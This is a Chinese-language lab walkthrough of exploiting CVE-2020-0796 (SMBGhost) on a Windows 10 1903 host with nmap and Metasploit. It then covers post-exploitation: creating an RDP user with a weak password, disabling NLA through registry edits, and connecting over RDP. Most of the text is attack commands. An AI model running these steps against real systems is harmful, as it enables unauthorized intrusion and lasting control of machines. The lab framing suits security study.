1.实验环境: Kali主机,攻击机,IP:192.168.119.134
2.目标主机:windows10 版本号:1903 、IP:192.168.119.128
3.实验目的:通过漏洞渗透目标主机,获取权限、维持权限,在目标主机上植入后门,通过自启动、计划任务等后端自动下载、启动木马程序、清楚日志,查杀被植入的木马
4.实验步骤:使用永恒之黑漏洞对windows10进行渗透
1、使用kali主机对目标主机进行工具nmap扫描端口
nmap -sS 192.168.119.128 // -sS 半开扫描 -O 识别操作系统
开放445端口,提供SMB服务 445端口的主要特点是支持文件共享
2、服务识别
进入msf框架,对目标主机的SMB版本识别
msfconsole msfdb run
加载SMB版本扫描模块
use auxiliary/scanner/smb/smb_version
3、查看配置 show options //查看缺少什么
4、配置参数
set RHOSTS 192.168.119.128 //设置目标地址,可以设置多个
5、运行模块 run //探测SMB的版本信息
可以的到主机的SMB版本是SMB 3.1.1
6、漏洞查找
根据SMB服务的版本,使用searchsploit软件搜索SMB 3.1.1对应版本存在的漏洞
我们再开启一个终端 输入searchsploit SMB 3.1.
SMB 3.1.1协议存在的可以利用poc,我们选择第二个
7、将poc利用文件复制到当前目录下 //-m复制到当前目录下
查看文件48267.txt
得到SMB 3.1.1对应的漏洞位cve-2020-0796
8、搜索MSF中对应模块
search cve-2020-0796 //查看msf模块中是否存在漏洞的模块
MSF中存在cve-2020-0796利用模块
9、利用MSF模块获取目标主机权限
成功利用cve-2020-0796模块需要三个条件:
Windows10 的版本号为1903或1909,并且没有打补丁KB4551762
开启455端口(网网络共享开启)防火墙处于关闭状态
虚拟机网络模式为“专用” NAT模式也可以成功但是有几率会失败或者蓝屏
这里我们使用NAT模式
10、加载模块
选择攻击模块1
use 1
11、配置参数
payload使用默认的
show options
12、设置目标主机的IP地址
set RHOSTS 192.168.119.128
13、运行漏洞利用模块
没有完成渗透
提示:Disable the DefangedMode option to proceed.
要将DefangedMode设置为false
set DefangedMode false
14、再次使用run会提示缺失文件
我们去GitHub上面下载缺失的文件
15、在另一个终端上将确实文件解压到/usr/share/metasploit-framework/下上传缺失文件包
16、继续运行漏洞利用模块
17、对目标渗透成功,已经获取到system权限
后渗透维持权限
后渗透的目的是长久保持对目标的权限,主要手段是植入后门
18、远程桌面连接目标
kali主机上使用enable-rdp模块创建目标主机rdp用户
把当前连接保存到后台不退出连接
background //把当前的连接保存到后台
19、进程已经保存到后台,session为2
加载后渗透模块enable_rdp
use post/windows/manage/enable_rdp //加载模块
查看配置参数
show options
创建目标主机RDP用户test
Set USERNAME test
目标主机RDP用户test的密码
Set PASSWORD 123456
加载已经建立连接的进程号session 为2
运行enable_rdp模块
run
远程创建rdp账号test密码123456成功
20、查询目标主机NLA(网络及身份验证)是否开启
如果目标主机开启NLA,建立的RDP账号将不能通过RDP连接目标主机
查询已经获取shell的session
Sessions
回到前期获取权限session
Sessions -i 2
通过查询目标主机 表示来确定是否开启了NLA
reg queryval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v UserAuthentication
根据查询结果 SecurityLayer(2 )和 UserAuthentication (1)的值,可以知道目标机开启了 NLA以上说明目标主机上的NLA(网络级身份验证)处在开启状态,不能够直接用rdp连接目标主机。
通过远程修改注册表关闭NLA
通过修改注册表将 SecurityLayer 和 UserAuthentication 的值修改为 0,就可以关闭NLA。
meterpreter reg 指令参数:
reg -h # 查看帮助
-k #注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值
修改注册表将 SecurityLayer的值改为0
reg setval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v SecurityLayer -t REG_DWORD -d 0
修改注册表将UserAuthentication 的值改为0
reg setval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v UserAuthentication -t REG_DWORD -d 0
NLA关闭成功
再开一个终端建立rdp连接
Rdesktop 192.168.119.128 -u test -p 123456